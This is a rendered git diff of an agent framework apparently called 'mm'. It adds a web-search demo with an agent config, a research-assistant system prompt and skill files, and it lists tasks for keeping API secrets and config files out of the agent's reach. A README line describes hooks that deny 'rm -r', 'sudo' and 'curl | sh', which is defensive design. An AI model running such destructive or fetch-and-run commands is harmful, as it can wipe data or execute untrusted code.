| 96 | + changed in the config → refused, clear error). | ||
| 97 | + - bash / hooks / tools: `printenv` shows none of mm's secrets. | ||
| 98 | + - Windows: measured and documented (what holds, what does not). | ||
| 99 | + - Docs EN+FR (configuration auth, a how-to "keep an API key away from the | ||
| 100 | + agent"). | ||
| 101 | +tasks: | ||
| 102 | + - id: 1 | ||
| 103 | + title: Strip the secrets mm uses from the environment of bash, hooks and tools (allow list) | ||
| 104 | + state: open | ||
| 105 | + priority: high | ||
| 106 | + author: | ||
| 107 | + name: k33g | ||
| 108 | + email: ph.charriere@gmail.com | ||
| 109 | + createdAt: 2026-11-24T20:33:14.000Z | ||
| 110 | + - id: 2 | ||
| 111 | + title: "auth.token sources: keychain (macOS, ACL = signed mm), masked prompt, fd" | ||
| 112 | + state: open | ||
| 113 | + priority: high | ||
| 114 | + author: | ||
| 115 | + name: k33g | ||
| 116 | + email: ph.charriere@gmail.com | ||
| 117 | + createdAt: 2026-11-24T20:33:14.000Z | ||
| 118 | + - id: 3 | ||
| 119 | + title: Bind a secret to its host; refuse to send it elsewhere | ||
| 120 | + state: open | ||
| 121 | + priority: high | ||
| 122 | + author: | ||
| 123 | + name: k33g | ||
| 124 | + email: ph.charriere@gmail.com | ||
| 125 | + createdAt: 2026-11-24T20:33:14.000Z | ||
| 126 | + - id: 4 | ||
| 127 | + title: Protect mm's own files (agent.yaml, hooks) from write_file / edit_file | ||
| 128 | + state: open | ||
| 129 | + priority: medium | ||
| 130 | + author: | ||
| 131 | + name: k33g | ||
| 132 | + email: ph.charriere@gmail.com | ||
| 133 | + createdAt: 2026-11-24T20:33:14.000Z | ||
| 134 | + - id: 5 | ||
| 135 | + title: Windows - measure Credential Manager, Low integrity / AppContainer for commands | ||
| 136 | + state: open | ||
| 137 | + priority: medium | ||
| 138 | + author: | ||
| 139 | + name: k33g | ||
| 140 | + email: ph.charriere@gmail.com | ||
| 141 | + createdAt: 2026-11-24T20:33:14.000Z | ||
| 142 | + - id: 6 | ||
| 143 | + title: Tests and docs EN+FR (how-to keep an API key away from the agent) | ||
| 144 | + state: open | ||
| 145 | + priority: none | ||
| 146 | + author: | ||
| 147 | + name: k33g | ||
| 148 | + email: ph.charriere@gmail.com | ||
| 149 | + createdAt: 2026-11-24T20:33:14.000Z | ||
| 150 | +comments: [] | ||
modified
README.md +1 -0 | @@ -175,6 +175,7 @@ The `demos/` directory holds ready-made set-ups (most with a README explaining h | ||
| 175 | 175 | | `demos/lfm-coder/` | a Go coder on LiquidAI LFM2.5-24B-A2B (llama.cpp, always reasons, gopls for `lsp`, `yolo: true`) whose silent failures were first caught by four Python hooks (measured 17/18 on nine Go cases, `ask_user` 3/3 on an under-specified request, 0/5 with the rule in the prompt only), now replaced by mm v2.0.0's settings: `workspace`, `bashBackground`, `lsp.diagnosticsAfterEdit` / `AfterRead`, `turnReminder`; the config lives in `.mm/`, with Go notes for `search_docs`, Context7 and seven skills (added 2026-11-23, not measured) | |
| 176 | 176 | | `demos/codex-style/` | the same idea with Codex CLI's default instructions (preambles, plans, ambition vs. precision, final-answer format), adapted to mm and to gpt-oss 20B (harmony format, `reasoning_effort`, `model_identity`) on llmman; measured results | |
| 177 | 177 | | `demos/news-roundup/` | a press-review agent: DuckDuckGo News through a small MCP server (Python standard library), Qwen3.5 9B on llmman, ready-made citations so no article is invented, measured results | |
| 178 | +| `demos/qwen-search/` | the same kind of agent with **skills** instead of an MCP server: web search and a press review through DuckDuckGo Lite and `fetch_content`, plus a skill with a catalogue of trusted pages (WebAssembly); Qwen3.5 2B and 4B measured | | |
| 178 | 179 | | `demos/project-wizard/` | the interactive prompts (`ask_user`) in a small agent: a four-question form (text, two choices, several choices), then a yes/no confirmation carrying the plan before any file is written; Qwen3.5 9B on llmman, measured results | |
| 179 | 180 | | `demos/hooks/` | hooks in Node.js around a small shell assistant (Gemma 4 E4B on llmman): a question holding a secret never reaches the model, today's date and the file list are added to every question, `rm -r` / `sudo` / `curl \| sh` are denied, every tool call and turn is logged to `.mm/hooks-audit.jsonl` | |
| 180 | 181 | | `demos/hooks-ask/` | `preAsk` and `postAsk` hooks in Node.js around a help desk that hands technical questions to an expert agent (both Gemma 4 E4B on llmman): secrets masked before they leave, at most 2 `ask_agent` calls per question, standing rules added for the expert, a failed hand-off turned into an instruction, every hand-off logged to `.mm/ask-audit.jsonl` | |
| @@ -175,6 +175,7 @@ The `demos/` directory holds ready-made set-ups (most with a README explaining h | |||
| 175 | | `demos/lfm-coder/` | a Go coder on LiquidAI LFM2.5-24B-A2B (llama.cpp, always reasons, gopls for `lsp`, `yolo: true`) whose silent failures were first caught by four Python hooks (measured 17/18 on nine Go cases, `ask_user` 3/3 on an under-specified request, 0/5 with the rule in the prompt only), now replaced by mm v2.0.0's settings: `workspace`, `bashBackground`, `lsp.diagnosticsAfterEdit` / `AfterRead`, `turnReminder`; the config lives in `.mm/`, with Go notes for `search_docs`, Context7 and seven skills (added 2026-11-23, not measured) | | 175 | | `demos/lfm-coder/` | a Go coder on LiquidAI LFM2.5-24B-A2B (llama.cpp, always reasons, gopls for `lsp`, `yolo: true`) whose silent failures were first caught by four Python hooks (measured 17/18 on nine Go cases, `ask_user` 3/3 on an under-specified request, 0/5 with the rule in the prompt only), now replaced by mm v2.0.0's settings: `workspace`, `bashBackground`, `lsp.diagnosticsAfterEdit` / `AfterRead`, `turnReminder`; the config lives in `.mm/`, with Go notes for `search_docs`, Context7 and seven skills (added 2026-11-23, not measured) | |
| 176 | | `demos/codex-style/` | the same idea with Codex CLI's default instructions (preambles, plans, ambition vs. precision, final-answer format), adapted to mm and to gpt-oss 20B (harmony format, `reasoning_effort`, `model_identity`) on llmman; measured results | | 176 | | `demos/codex-style/` | the same idea with Codex CLI's default instructions (preambles, plans, ambition vs. precision, final-answer format), adapted to mm and to gpt-oss 20B (harmony format, `reasoning_effort`, `model_identity`) on llmman; measured results | |
| 177 | | `demos/news-roundup/` | a press-review agent: DuckDuckGo News through a small MCP server (Python standard library), Qwen3.5 9B on llmman, ready-made citations so no article is invented, measured results | | 177 | | `demos/news-roundup/` | a press-review agent: DuckDuckGo News through a small MCP server (Python standard library), Qwen3.5 9B on llmman, ready-made citations so no article is invented, measured results | |
| 178 | +| `demos/qwen-search/` | the same kind of agent with **skills** instead of an MCP server: web search and a press review through DuckDuckGo Lite and `fetch_content`, plus a skill with a catalogue of trusted pages (WebAssembly); Qwen3.5 2B and 4B measured | | ||
| 178 | | `demos/project-wizard/` | the interactive prompts (`ask_user`) in a small agent: a four-question form (text, two choices, several choices), then a yes/no confirmation carrying the plan before any file is written; Qwen3.5 9B on llmman, measured results | | 179 | | `demos/project-wizard/` | the interactive prompts (`ask_user`) in a small agent: a four-question form (text, two choices, several choices), then a yes/no confirmation carrying the plan before any file is written; Qwen3.5 9B on llmman, measured results | |
| 179 | | `demos/hooks/` | hooks in Node.js around a small shell assistant (Gemma 4 E4B on llmman): a question holding a secret never reaches the model, today's date and the file list are added to every question, `rm -r` / `sudo` / `curl \| sh` are denied, every tool call and turn is logged to `.mm/hooks-audit.jsonl` | | 180 | | `demos/hooks/` | hooks in Node.js around a small shell assistant (Gemma 4 E4B on llmman): a question holding a secret never reaches the model, today's date and the file list are added to every question, `rm -r` / `sudo` / `curl \| sh` are denied, every tool call and turn is logged to `.mm/hooks-audit.jsonl` | |
| 180 | | `demos/hooks-ask/` | `preAsk` and `postAsk` hooks in Node.js around a help desk that hands technical questions to an expert agent (both Gemma 4 E4B on llmman): secrets masked before they leave, at most 2 `ask_agent` calls per question, standing rules added for the expert, a failed hand-off turned into an instruction, every hand-off logged to `.mm/ask-audit.jsonl` | | 181 | | `demos/hooks-ask/` | `preAsk` and `postAsk` hooks in Node.js around a help desk that hands technical questions to an expert agent (both Gemma 4 E4B on llmman): secrets masked before they leave, at most 2 `ask_agent` calls per question, standing rules added for the expert, a failed hand-off turned into an instruction, every hand-off logged to `.mm/ask-audit.jsonl` | |
added
demos/qwen-search/.gitignore +3 -0 | new file mode 100644 | ||
| @@ -0,0 +1,3 @@ | ||
| 1 | +!.mm | |
| 2 | +sessions | |
| 3 | +traces | |
| \ No newline at end of file | ||
| new file mode 100644 | |||
| @@ -0,0 +1,3 @@ | |||
| 1 | +!.mm | ||
| 2 | +sessions | ||
| 3 | +traces | ||
| \ No newline at end of file | \ No newline at end of file | ||
added
demos/qwen-search/.mm/agent.yaml +127 -0 | new file mode 100644 | ||
| @@ -0,0 +1,127 @@ | ||
| 1 | +# researcher — reads web pages and summarises them. | |
| 2 | +# | |
| 3 | +# Written by `mm init`. Every value says why it has that value; change | |
| 4 | +# them as you watch the agent work: | |
| 5 | +# https://rickub.com/bots-garden/mini-me/blob/main/guides/agent-settings-for-small-models.md | |
| 6 | +# | |
| 7 | +# model family: qwen | |
| 8 | +# usage: researcher | |
| 9 | +# machine: small — a laptop, models up to about 8B | |
| 10 | +# model facts: read from llamacpp: native window 8192 tokens; reasoning switch enable_thinking (default off) | |
| 11 | +# | |
| 12 | +# Where the numbers come from (the tag before their comment): | |
| 13 | +# [card] from the model card or the GGUF, not measured — re-read the new card | |
| 14 | +# [guide] the settings guide's row for this machine | |
| 15 | +# [rule] a rule of thumb, not specific to this model | |
| 16 | +# | |
| 17 | +# mm or mm tui started from the project root (it finds .mm/agent.yaml) | |
| 18 | + | |
| 19 | +provider: llamacpp | |
| 20 | +# The model. Chosen for it (family qwen): sampling (temperature, top_p, top_k, | |
| 21 | +# max_tokens) and sampling.chat_template_kwargs (enable_thinking). Change the | |
| 22 | +# model and redo them together — running mm init again is the quick way. | |
| 23 | +model: "unsloth/Qwen3.5-4B-GGUF:Q4_K_M" | |
| 24 | +# No baseUrl: llamacpp's defaults apply. For the record: | |
| 25 | +# baseUrl: "http://127.0.0.1:9931/v1" | |
| 26 | +# (llamacpp also tries http://127.0.0.1:8080/v1 on this machine when baseUrl does not answer) | |
| 27 | +# fallback: "http://host.docker.internal:9931/v1" # tried when baseUrl does not answer | |
| 28 | +# Nothing answers at this address: mm starts llama-server (router mode, this | |
| 29 | +# model, downloaded on first use) and stops it with the last mm session using | |
| 30 | +# it. A server you started yourself is never stopped. false: start it yourself. | |
| 31 | +llamacpp: | |
| 32 | + autoStart: true | |
| 33 | + # Launch settings, the Llama app's values: each key is one llama-server | |
| 34 | + # flag; remove a key and llama-server keeps its own default. | |
| 35 | + # ctxSize: 32768 # --ctx-size (default: the model's own window) | |
| 36 | + modelsMax: 0 # --models-max: 0 = no limit on loaded models (default 4) | |
| 37 | + modelsMemoryMargin: 1024 # --models-memory-margin: MiB kept free (default 0 = off) | |
| 38 | + fitTarget: 1024 # --fit-target: MiB margin per device (default 1024) | |
| 39 | + sleepIdleSeconds: 300 # --sleep-idle-seconds: free the model when idle (default -1 = never) | |
| 40 | + specDefault: true # --spec-default: default speculative decoding | |
| 41 | + # serverArgs: [] # any other flag | |
| 42 | + | |
| 43 | +# 0 = mm asks the server for the window it serves (the model's native window | |
| 44 | +# is 8192 tokens; the server may serve less) | |
| 45 | +contextWindow: 0 | |
| 46 | +# your answer: tools run without asking | |
| 47 | +yolo: true | |
| 48 | +# usage researcher | |
| 49 | +bashTool: false | |
| 50 | +editTools: false | |
| 51 | +planTool: false | |
| 52 | +# off: with ask_user, Qwen3.5 2B asked a question on a clear request, then | |
| 53 | +# wrote a roundup from memory instead of searching (measured 2026-11-24) | |
| 54 | +askUserTool: false | |
| 55 | +fetchContentTool: true | |
| 56 | +saveAnswerTool: true | |
| 57 | +# unload the model from the server's memory when mm exits; false keeps it | |
| 58 | +# loaded (faster next start, or another tool uses it) | |
| 59 | +unloadOnExit: true | |
| 60 | +# your answer: a <name>.md or <name>/SKILL.md per skill, in .mm/skills/ — | |
| 61 | +# relative to the directory mm is started from, the project root (see | |
| 62 | +# https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/add-a-skill.md) | |
| 63 | +skillsDir: .mm/skills | |
| 64 | +# usage researcher | |
| 65 | +maxTurns: 15 | |
| 66 | +# [guide] settings guide, row "Small model (≤ 8B), short tasks" | |
| 67 | +maxOutput: 8000 | |
| 68 | +firstTokenTimeout: 3m | |
| 69 | +watchdogTimeout: 20s | |
| 70 | + | |
| 71 | +sampling: | |
| 72 | + # [card] family qwen: Qwen model cards (thinking 0.6 / 0.95 / 20, | |
| 73 | + # non-thinking 0.7 / 0.8 / 20); precise 0.0 measured with Qwen3.5 4B, | |
| 74 | + # thinking off (demos/docs-search, memory-search, plans) | |
| 75 | + temperature: 0.7 | |
| 76 | + top_p: 0.8 | |
| 77 | + top_k: 20 | |
| 78 | + # [rule] room for an answer or a whole file in one tool call | |
| 79 | + max_tokens: 4096 | |
| 80 | + # one tool call per reply: small models run a check before the change it | |
| 81 | + # checks has landed otherwise | |
| 82 | + parallel_tool_calls: false | |
| 83 | + chat_template_kwargs: | |
| 84 | + # reasoning off: short, direct answers; the template's default is off | |
| 85 | + # (read from the chat template) | |
| 86 | + enable_thinking: false | |
| 87 | + | |
| 88 | +context: | |
| 89 | + # compress the history before the window is full (settings guide, every row) | |
| 90 | + enabled: true | |
| 91 | + # mm's default: 75 % of the window the server serves, a quarter left for the | |
| 92 | + # next question and its tool outputs | |
| 93 | + threshold: 75 | |
| 94 | + | |
| 95 | +sessions: | |
| 96 | + # your answer: every conversation is saved; /sessions lists them, /resume | |
| 97 | + # reopens one | |
| 98 | + enabled: true | |
| 99 | + # relative to the directory mm is started from: one folder per project | |
| 100 | + dir: .mm/sessions | |
| 101 | + | |
| 102 | +agentsMd: | |
| 103 | + # An AGENTS.md in the project directory is added to the system prompt. | |
| 104 | + enabled: true | |
| 105 | + | |
| 106 | +acp: | |
| 107 | + name: researcher | |
| 108 | + title: "Researcher (researcher)" | |
| 109 | + | |
| 110 | +system: | | |
| 111 | + Your name is researcher. | |
| 112 | + You are a research assistant. To answer, read the web pages the user | |
| 113 | + names with fetch_content, then summarise what they say, citing each | |
| 114 | + page's address. Never state what a page says without having read it in | |
| 115 | + this answer. | |
| 116 | + | |
| 117 | + Your own knowledge is months or years old: you NEVER answer a request | |
| 118 | + about news, current events or something to find on the internet from | |
| 119 | + memory. For such a request your FIRST reply is a call to read_skill — | |
| 120 | + news-roundup for news or a press review, wasm-knowledge for a question | |
| 121 | + about WebAssembly, web-search for anything else — then you follow the | |
| 122 | + skill step by step: it says which pages to read with fetch_content. | |
| 123 | + | |
| 124 | +# Next: skills https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/add-a-skill.md | |
| 125 | +# MCP servers https://rickub.com/bots-garden/mini-me/blob/main/docs/en/tutorials/mcp-getting-started.md | |
| 126 | +# hooks https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/guard-the-agent-with-hooks.md | |
| 127 | +# sessions https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/keep-sessions.md | |
| new file mode 100644 | |||
| @@ -0,0 +1,127 @@ | |||
| 1 | +# researcher — reads web pages and summarises them. | ||
| 2 | +# | ||
| 3 | +# Written by `mm init`. Every value says why it has that value; change | ||
| 4 | +# them as you watch the agent work: | ||
| 5 | +# https://rickub.com/bots-garden/mini-me/blob/main/guides/agent-settings-for-small-models.md | ||
| 6 | +# | ||
| 7 | +# model family: qwen | ||
| 8 | +# usage: researcher | ||
| 9 | +# machine: small — a laptop, models up to about 8B | ||
| 10 | +# model facts: read from llamacpp: native window 8192 tokens; reasoning switch enable_thinking (default off) | ||
| 11 | +# | ||
| 12 | +# Where the numbers come from (the tag before their comment): | ||
| 13 | +# [card] from the model card or the GGUF, not measured — re-read the new card | ||
| 14 | +# [guide] the settings guide's row for this machine | ||
| 15 | +# [rule] a rule of thumb, not specific to this model | ||
| 16 | +# | ||
| 17 | +# mm or mm tui started from the project root (it finds .mm/agent.yaml) | ||
| 18 | + | ||
| 19 | +provider: llamacpp | ||
| 20 | +# The model. Chosen for it (family qwen): sampling (temperature, top_p, top_k, | ||
| 21 | +# max_tokens) and sampling.chat_template_kwargs (enable_thinking). Change the | ||
| 22 | +# model and redo them together — running mm init again is the quick way. | ||
| 23 | +model: "unsloth/Qwen3.5-4B-GGUF:Q4_K_M" | ||
| 24 | +# No baseUrl: llamacpp's defaults apply. For the record: | ||
| 25 | +# baseUrl: "http://127.0.0.1:9931/v1" | ||
| 26 | +# (llamacpp also tries http://127.0.0.1:8080/v1 on this machine when baseUrl does not answer) | ||
| 27 | +# fallback: "http://host.docker.internal:9931/v1" # tried when baseUrl does not answer | ||
| 28 | +# Nothing answers at this address: mm starts llama-server (router mode, this | ||
| 29 | +# model, downloaded on first use) and stops it with the last mm session using | ||
| 30 | +# it. A server you started yourself is never stopped. false: start it yourself. | ||
| 31 | +llamacpp: | ||
| 32 | + autoStart: true | ||
| 33 | + # Launch settings, the Llama app's values: each key is one llama-server | ||
| 34 | + # flag; remove a key and llama-server keeps its own default. | ||
| 35 | + # ctxSize: 32768 # --ctx-size (default: the model's own window) | ||
| 36 | + modelsMax: 0 # --models-max: 0 = no limit on loaded models (default 4) | ||
| 37 | + modelsMemoryMargin: 1024 # --models-memory-margin: MiB kept free (default 0 = off) | ||
| 38 | + fitTarget: 1024 # --fit-target: MiB margin per device (default 1024) | ||
| 39 | + sleepIdleSeconds: 300 # --sleep-idle-seconds: free the model when idle (default -1 = never) | ||
| 40 | + specDefault: true # --spec-default: default speculative decoding | ||
| 41 | + # serverArgs: [] # any other flag | ||
| 42 | + | ||
| 43 | +# 0 = mm asks the server for the window it serves (the model's native window | ||
| 44 | +# is 8192 tokens; the server may serve less) | ||
| 45 | +contextWindow: 0 | ||
| 46 | +# your answer: tools run without asking | ||
| 47 | +yolo: true | ||
| 48 | +# usage researcher | ||
| 49 | +bashTool: false | ||
| 50 | +editTools: false | ||
| 51 | +planTool: false | ||
| 52 | +# off: with ask_user, Qwen3.5 2B asked a question on a clear request, then | ||
| 53 | +# wrote a roundup from memory instead of searching (measured 2026-11-24) | ||
| 54 | +askUserTool: false | ||
| 55 | +fetchContentTool: true | ||
| 56 | +saveAnswerTool: true | ||
| 57 | +# unload the model from the server's memory when mm exits; false keeps it | ||
| 58 | +# loaded (faster next start, or another tool uses it) | ||
| 59 | +unloadOnExit: true | ||
| 60 | +# your answer: a <name>.md or <name>/SKILL.md per skill, in .mm/skills/ — | ||
| 61 | +# relative to the directory mm is started from, the project root (see | ||
| 62 | +# https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/add-a-skill.md) | ||
| 63 | +skillsDir: .mm/skills | ||
| 64 | +# usage researcher | ||
| 65 | +maxTurns: 15 | ||
| 66 | +# [guide] settings guide, row "Small model (≤ 8B), short tasks" | ||
| 67 | +maxOutput: 8000 | ||
| 68 | +firstTokenTimeout: 3m | ||
| 69 | +watchdogTimeout: 20s | ||
| 70 | + | ||
| 71 | +sampling: | ||
| 72 | + # [card] family qwen: Qwen model cards (thinking 0.6 / 0.95 / 20, | ||
| 73 | + # non-thinking 0.7 / 0.8 / 20); precise 0.0 measured with Qwen3.5 4B, | ||
| 74 | + # thinking off (demos/docs-search, memory-search, plans) | ||
| 75 | + temperature: 0.7 | ||
| 76 | + top_p: 0.8 | ||
| 77 | + top_k: 20 | ||
| 78 | + # [rule] room for an answer or a whole file in one tool call | ||
| 79 | + max_tokens: 4096 | ||
| 80 | + # one tool call per reply: small models run a check before the change it | ||
| 81 | + # checks has landed otherwise | ||
| 82 | + parallel_tool_calls: false | ||
| 83 | + chat_template_kwargs: | ||
| 84 | + # reasoning off: short, direct answers; the template's default is off | ||
| 85 | + # (read from the chat template) | ||
| 86 | + enable_thinking: false | ||
| 87 | + | ||
| 88 | +context: | ||
| 89 | + # compress the history before the window is full (settings guide, every row) | ||
| 90 | + enabled: true | ||
| 91 | + # mm's default: 75 % of the window the server serves, a quarter left for the | ||
| 92 | + # next question and its tool outputs | ||
| 93 | + threshold: 75 | ||
| 94 | + | ||
| 95 | +sessions: | ||
| 96 | + # your answer: every conversation is saved; /sessions lists them, /resume | ||
| 97 | + # reopens one | ||
| 98 | + enabled: true | ||
| 99 | + # relative to the directory mm is started from: one folder per project | ||
| 100 | + dir: .mm/sessions | ||
| 101 | + | ||
| 102 | +agentsMd: | ||
| 103 | + # An AGENTS.md in the project directory is added to the system prompt. | ||
| 104 | + enabled: true | ||
| 105 | + | ||
| 106 | +acp: | ||
| 107 | + name: researcher | ||
| 108 | + title: "Researcher (researcher)" | ||
| 109 | + | ||
| 110 | +system: | | ||
| 111 | + Your name is researcher. | ||
| 112 | + You are a research assistant. To answer, read the web pages the user | ||
| 113 | + names with fetch_content, then summarise what they say, citing each | ||
| 114 | + page's address. Never state what a page says without having read it in | ||
| 115 | + this answer. | ||
| 116 | + | ||
| 117 | + Your own knowledge is months or years old: you NEVER answer a request | ||
| 118 | + about news, current events or something to find on the internet from | ||
| 119 | + memory. For such a request your FIRST reply is a call to read_skill — | ||
| 120 | + news-roundup for news or a press review, wasm-knowledge for a question | ||
| 121 | + about WebAssembly, web-search for anything else — then you follow the | ||
| 122 | + skill step by step: it says which pages to read with fetch_content. | ||
| 123 | + | ||
| 124 | +# Next: skills https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/add-a-skill.md | ||
| 125 | +# MCP servers https://rickub.com/bots-garden/mini-me/blob/main/docs/en/tutorials/mcp-getting-started.md | ||
| 126 | +# hooks https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/guard-the-agent-with-hooks.md | ||
| 127 | +# sessions https://rickub.com/bots-garden/mini-me/blob/main/docs/en/how-to/keep-sessions.md | ||
added
demos/qwen-search/.mm/skills/news-roundup/SKILL.md +22 -0 | new file mode 100644 | ||
| @@ -0,0 +1,22 @@ | ||
| 1 | +--- | |
| 2 | +name: news-roundup | |
| 3 | +description: Write a press review (news roundup) on a topic from the web's results. | |
| 4 | +keywords: news, roundup, press review, revue de presse, actualités, actualité, today, aujourd'hui | |
| 5 | +--- | |
| 6 | +# Press review | |
| 7 | + | |
| 8 | +Step 1. Your NEXT reply is this tool call and nothing else — no text before it, no review from memory (your knowledge is months or years old): | |
| 9 | + | |
| 10 | + fetch_content(url: "https://lite.duckduckgo.com/lite/?q=WORDS+news", tables: "flatten") | |
| 11 | + | |
| 12 | +WORDS = the topic in 2 to 4 keywords joined by `+` (e.g. `electric+cars`). Nothing else in the url. | |
| 13 | + | |
| 14 | +Step 2. Each result is a title linked to the page, a short excerpt, and the page's address. The link is the page's own address; the source is the site in it (`www.lemonde.fr` → Le Monde). Never use a `duckduckgo.com` link. | |
| 15 | + | |
| 16 | +Step 3. Do NOT open the result pages: the excerpts are enough for a press review. Your NEXT reply, right after the search, is the review itself, written ONLY from these results, in the language of the user's request. Never invent a title, a source or a link. Skip results that are not news (a shop, a dictionary) and duplicates. | |
| 17 | + | |
| 18 | + # News roundup: <topic> | |
| 19 | + ## <a few words naming what its articles share> | |
| 20 | + - **<title>** — <source>. [link](https://<address>) <One sentence from the excerpt.> | |
| 21 | + | |
| 22 | +2 or 3 themes, 4 to 8 results in all. Last line: one sentence on the main trend. | |
| new file mode 100644 | |||
| @@ -0,0 +1,22 @@ | |||
| 1 | +--- | ||
| 2 | +name: news-roundup | ||
| 3 | +description: Write a press review (news roundup) on a topic from the web's results. | ||
| 4 | +keywords: news, roundup, press review, revue de presse, actualités, actualité, today, aujourd'hui | ||
| 5 | +--- | ||
| 6 | +# Press review | ||
| 7 | + | ||
| 8 | +Step 1. Your NEXT reply is this tool call and nothing else — no text before it, no review from memory (your knowledge is months or years old): | ||
| 9 | + | ||
| 10 | + fetch_content(url: "https://lite.duckduckgo.com/lite/?q=WORDS+news", tables: "flatten") | ||
| 11 | + | ||
| 12 | +WORDS = the topic in 2 to 4 keywords joined by `+` (e.g. `electric+cars`). Nothing else in the url. | ||
| 13 | + | ||
| 14 | +Step 2. Each result is a title linked to the page, a short excerpt, and the page's address. The link is the page's own address; the source is the site in it (`www.lemonde.fr` → Le Monde). Never use a `duckduckgo.com` link. | ||
| 15 | + | ||
| 16 | +Step 3. Do NOT open the result pages: the excerpts are enough for a press review. Your NEXT reply, right after the search, is the review itself, written ONLY from these results, in the language of the user's request. Never invent a title, a source or a link. Skip results that are not news (a shop, a dictionary) and duplicates. | ||
| 17 | + | ||
| 18 | + # News roundup: <topic> | ||
| 19 | + ## <a few words naming what its articles share> | ||
| 20 | + - **<title>** — <source>. [link](https://<address>) <One sentence from the excerpt.> | ||
| 21 | + | ||
| 22 | +2 or 3 themes, 4 to 8 results in all. Last line: one sentence on the main trend. | ||
added
demos/qwen-search/.mm/skills/wasm-knowledge/SKILL.md +29 -0 | new file mode 100644 | ||
| @@ -0,0 +1,29 @@ | ||
| 1 | +--- | |
| 2 | +name: wasm-knowledge | |
| 3 | +description: Answer a question about WebAssembly (Wasm, WASI, components, runtimes) from a fixed list of trusted pages. | |
| 4 | +keywords: webassembly, wasm, wasi, wasmtime, wazero, component model, bytecode alliance | |
| 5 | +--- | |
| 6 | +# WebAssembly from trusted sources | |
| 7 | + | |
| 8 | +You do not search: you read pages from the list below with fetch_content, always with `tables: "flatten"`. Use no other address. | |
| 9 | + | |
| 10 | +| Page | What it covers | | |
| 11 | +|---|---| | |
| 12 | +| https://developer.mozilla.org/en-US/docs/WebAssembly/Concepts | What Wasm is, how it runs in a browser, modules, memory, tables — the best first read | | |
| 13 | +| https://developer.mozilla.org/en-US/docs/WebAssembly | MDN's entry page: guides and the JavaScript API | | |
| 14 | +| https://webassembly.org/ | The official site: goals, overview | | |
| 15 | +| https://webassembly.org/features/ | Which Wasm features (SIMD, threads, GC, tail calls…) each engine supports | | |
| 16 | +| https://webassembly.github.io/spec/core/intro/introduction.html | The specification's introduction: design goals, scope | | |
| 17 | +| https://wasi.dev/ | WASI: running Wasm outside the browser (files, network, clocks) | | |
| 18 | +| https://component-model.bytecodealliance.org/ | The Component Model and WIT interfaces | | |
| 19 | +| https://bytecodealliance.org/ | The Bytecode Alliance: who maintains Wasmtime, WASI, the component tools | | |
| 20 | +| https://wasmtime.dev/ | Wasmtime, a Wasm runtime (Rust) | | |
| 21 | +| https://wazero.io/ | wazero, a Wasm runtime for Go with no dependencies | | |
| 22 | +| https://fr.wikipedia.org/wiki/WebAssembly | Wikipédia (français) : histoire, principes, usages | | |
| 23 | +| https://en.wikipedia.org/wiki/WebAssembly | Wikipedia (English): history, adoption, security — a LONG page, read it last | | |
| 24 | + | |
| 25 | +Step 1. Pick the ONE page of the table that best fits the question (a French question about history: the French Wikipedia). Your NEXT reply is fetch_content on it and nothing else. | |
| 26 | + | |
| 27 | +Step 2. If that page does not answer, read ONE more page of the table. At most three pages in all. | |
| 28 | + | |
| 29 | +Step 3. Answer ONLY from what you read, in the language of the question. End with the pages you used, each as a link: `[MDN — WebAssembly concepts](https://developer.mozilla.org/en-US/docs/WebAssembly/Concepts)`. If the pages do not say, answer that the sources do not cover it — never from memory. | |
| new file mode 100644 | |||
| @@ -0,0 +1,29 @@ | |||
| 1 | +--- | ||
| 2 | +name: wasm-knowledge | ||
| 3 | +description: Answer a question about WebAssembly (Wasm, WASI, components, runtimes) from a fixed list of trusted pages. | ||
| 4 | +keywords: webassembly, wasm, wasi, wasmtime, wazero, component model, bytecode alliance | ||
| 5 | +--- | ||
| 6 | +# WebAssembly from trusted sources | ||
| 7 | + | ||
| 8 | +You do not search: you read pages from the list below with fetch_content, always with `tables: "flatten"`. Use no other address. | ||
| 9 | + | ||
| 10 | +| Page | What it covers | | ||
| 11 | +|---|---| | ||
| 12 | +| https://developer.mozilla.org/en-US/docs/WebAssembly/Concepts | What Wasm is, how it runs in a browser, modules, memory, tables — the best first read | | ||
| 13 | +| https://developer.mozilla.org/en-US/docs/WebAssembly | MDN's entry page: guides and the JavaScript API | | ||
| 14 | +| https://webassembly.org/ | The official site: goals, overview | | ||
| 15 | +| https://webassembly.org/features/ | Which Wasm features (SIMD, threads, GC, tail calls…) each engine supports | | ||
| 16 | +| https://webassembly.github.io/spec/core/intro/introduction.html | The specification's introduction: design goals, scope | | ||
| 17 | +| https://wasi.dev/ | WASI: running Wasm outside the browser (files, network, clocks) | | ||
| 18 | +| https://component-model.bytecodealliance.org/ | The Component Model and WIT interfaces | | ||
| 19 | +| https://bytecodealliance.org/ | The Bytecode Alliance: who maintains Wasmtime, WASI, the component tools | | ||
| 20 | +| https://wasmtime.dev/ | Wasmtime, a Wasm runtime (Rust) | | ||
| 21 | +| https://wazero.io/ | wazero, a Wasm runtime for Go with no dependencies | | ||
| 22 | +| https://fr.wikipedia.org/wiki/WebAssembly | Wikipédia (français) : histoire, principes, usages | | ||
| 23 | +| https://en.wikipedia.org/wiki/WebAssembly | Wikipedia (English): history, adoption, security — a LONG page, read it last | | ||
| 24 | + | ||
| 25 | +Step 1. Pick the ONE page of the table that best fits the question (a French question about history: the French Wikipedia). Your NEXT reply is fetch_content on it and nothing else. | ||
| 26 | + | ||
| 27 | +Step 2. If that page does not answer, read ONE more page of the table. At most three pages in all. | ||
| 28 | + | ||
| 29 | +Step 3. Answer ONLY from what you read, in the language of the question. End with the pages you used, each as a link: `[MDN — WebAssembly concepts](https://developer.mozilla.org/en-US/docs/WebAssembly/Concepts)`. If the pages do not say, answer that the sources do not cover it — never from memory. | ||
added
demos/qwen-search/.mm/skills/web-search/SKILL.md +23 -0 | new file mode 100644 | ||
| @@ -0,0 +1,23 @@ | ||
| 1 | +--- | |
| 2 | +name: web-search | |
| 3 | +description: Search the internet with DuckDuckGo for current or specific information, then answer citing the pages. | |
| 4 | +keywords: search, internet, web, recherche, chercher, trouver, find, look up | |
| 5 | +--- | |
| 6 | +# Search the web | |
| 7 | + | |
| 8 | +Step 1. Your NEXT reply is this tool call and nothing else — no text before it, no answer from memory: | |
| 9 | + | |
